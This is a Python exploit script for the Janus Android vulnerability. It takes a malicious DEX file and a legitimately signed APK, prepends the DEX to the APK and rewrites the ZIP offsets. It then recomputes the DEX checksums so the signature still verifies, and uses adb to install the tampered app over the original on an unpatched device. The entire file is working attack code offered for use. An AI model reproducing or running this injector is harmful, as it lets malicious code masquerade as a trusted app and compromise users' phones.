import sys
import os
import argparse
import struct
import datetime
import subprocess
import importlib

from hashlib import sha1
from zlib import adler32
from androguard.core.bytecodes.apk import APK
from androguard.util import get_certificate_name_string

class suppress_output: 
    def __init__(self,suppress_stdout=False,suppress_stderr=False): 
        self.suppress_stdout = suppress_stdout 
        self.suppress_stderr = suppress_stderr 
        self._stdout = None 
        self._stderr = None    
    
    def __enter__(self): 
        devnull = open(os.devnull, "w") 
        if self.suppress_stdout: 
            self._stdout = sys.stdout 
            sys.stdout = devnull        
        if self.suppress_stderr: 
            self._stderr = sys.stderr 
            sys.stderr = devnull
    def __exit__(self, *args): 
        if self.suppress_stdout: 
            sys.stdout = self._stdout 
        if self.suppress_stderr: 
            sys.stderr = self._stderr


def check_required_tools_and_install():
    andro = importlib.util.find_spec("androguard")
    requirements = ["adb"]
    ninstalled = 0
    null = open("NUL", "w")
    if not andro:         
        subprocess.check_call([sys.executable, "-m", "pip", "install", "androguard"], stdout=null, stderr=null)
    for tool in requirements:
        try:
            subprocess.Popen(tool, stdout=null, stderr=null)
            null.close()
            print("\x1b[92m[+]\x1b[0m "+tool.upper()+" is installed")
        except OSError:
            ninstalled = 1
            print("\x1b[91m[-]\x1b[0m "+tool+" is not installed")
    if ninstalled: 
        print("\nPlease install missing tools and re-run the exploit")
        quit()        

sdk, android = "27", "8.0.0"
            
def is_apk_vulnerable(apk):
    with suppress_output(suppress_stdout=True,suppress_stderr=True): a = APK(app)
    global sdk, android
    if a.is_signed():
        print("\x1b[92m[+]\x1b[0m APK is signed")
        if a.is_signed_v1:
            if a.is_signed_v2() or a.is_signed_v3():
                sdk, android = "24", "7.0.0"
            if a.get_min_sdk_version() < sdk:
                print("\x1b[92m[+]\x1b[0m APK("+a.get_min_sdk_version()+") is set to run on devices less then API level "+sdk+"(Android "+android+")\n\x1b[92m[+]\x1b[0m APK is vulnerable\n\x1b[93m[!]\x1b[0m Please connect the device running Android less then "+android+" through adb")
                device_connected = input("\x1b[93m[!]\x1b[0m Once recommended device is connected. Press 'y': ")
                if device_connected != "y":
                    print("\033[91m[-]\033[0m Recommended device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m")
                    quit() 
        else:
            print("\033[91m[-]\033[0m APK is Not Vulnerable\n\n\033[91mStopping the exploit.\033[0m")
            quit()    
        
    else: 
        print("\033[91m[-]\033[0m APK is Not signed\n\n\033[91mStopping the exploit.\033[0m")
        quit()    

def injection():
    with open(args.apk_in, "rb") as apk_in, open(args.dex_in, "rb") as dex_in, open("kal-janus.apk", "wb") as apk_out:
        dex_data = bytearray(dex_in.read())
        apk_data = bytearray(apk_in.read())
        dex_size = len(dex_data)

        ea_cd = apk_data.rfind(b"\x50\x4b\x05\x06")
        sa_cd = struct.unpack("<L", apk_data[ea_cd+16:ea_cd+20])[0]
        apk_data[ea_cd+16:ea_cd+20] = struct.pack("<L", sa_cd+dex_size)
    
        print("\033[93m[!]\033[0m injecting payload into the apk")
        while (sa_cd < ea_cd):
            offset = struct.unpack("<L", apk_data[sa_cd+42:sa_cd+46])[0]
            apk_data[sa_cd+42:sa_cd+46] = struct.pack("<L", offset+dex_size)
            sa_cd = apk_data.find(b"\x50\x4b\x01\x02", sa_cd+46, ea_cd)
            if sa_cd == -1:
                break

        data = dex_data + apk_data
        data[32:36] = struct.pack("<L", len(data))
        print("\033[92m[+]\033[0m Payload injected successfully")
    
        m = sha1()
        m.update(data[32:])
        print("\033[93m[!]\033[0m updating checksum")
        data[12:12+20] = m.digest()

        print("\033[93m[!]\033[0m Creating apk with injected payload")
        c = adler32(memoryview(data[12:])) & 0xffffffff
        data[8:12] = struct.pack("<L", c)
        apk_out.write(data)
        print("\033[92m[+]\033[0m APK created successfully")

                       
parser = argparse.ArgumentParser()
print("Exploits the Janus Vulnerability\n")
parser.add_argument("dex_in", metavar="dex-file", type=str, help="the malicious dex file to inject")
parser.add_argument("apk_in", metavar="original-apk", type=str, help="original source apk to be injected")
args = parser.parse_args()

check_required_tools_and_install()
app = args.apk_in
is_apk_vulnerable(app)

device = os.popen("adb devices").read().split('\n', 1)[1].split("device")[0].strip()
if len(device) <= 1:
    print("\033[91m[-]\033[0m No device Connected.\n\n\033[91mStopping the exploit.\033[0m")
    quit()
else:
    print("\033[92m[+]\033[0m device found")
    result = subprocess.Popen(['adb', 'shell', 'getprop', 'ro.build.version.sdk'], stdout=subprocess.PIPE)
    api = str(result.communicate())
    api = api.split("\n")[0].split('\\')[0].split("(b'")[1]
    if api < sdk:
        result = subprocess.Popen(['adb', 'shell', 'getprop', 'ro.build.version.release'], stdout=subprocess.PIPE)
        release = str(result.communicate())
        release = release.split("\n")[0].split('\\')[0].split("(b'")[1]
        print("\033[92m[+]\033[0m Recommended Android device "+release+" is connected(API Level " +api+").")
        result = subprocess.Popen(['adb', 'shell', 'getprop', 'ro.build.version.security_patch'], stdout=subprocess.PIPE)
        patch = str(result.communicate())
        patch = patch.split("\n")[0].split('\\')[0].split("(b'")[1]
        patched = "2017-12-01"
        if patched > patch:
            print("\033[92m[+]\033[0m Android security Patch level "+patch+" is vulnerable")
            injection()
            null = open("/dev/null", "w")
            result = subprocess.Popen(['adb', 'install', '-r', 'kal-janus.apk'], stdout=subprocess.PIPE, stderr=null)
            install = str(result.communicate())
            null.close()
            if api < "24": install = install.split("\n")[0].split('\\')[5].split("n")[1].lower()
            else: install = install.split()[2].split("\\n")[1].lower()
            if install == "success": print("\033[92m[+]\033[0m APK updated successfully.\n\033[92m[+]\033[0m Exploit Completed successfully.")
            else: print("\033[91m[-]\033[0m Installation failed");quit()
        else: print("\033[91m[-]\033[0m Android device is patched with 2017-12-05 which is not vulnerable..\n\n\033[91mStopping the exploit.\033[0m");quit()
    else:
        print("\033[91m[-]\033[0m Recommended! device is Not Connected.\n\n\033[91mStopping the exploit.\033[0m")
        quit()

print("\033[92m[+]\033[0m Cleaning the system...")
if os.path.exists("kal-janus.apk"): os.remove("kal-janus.apk")
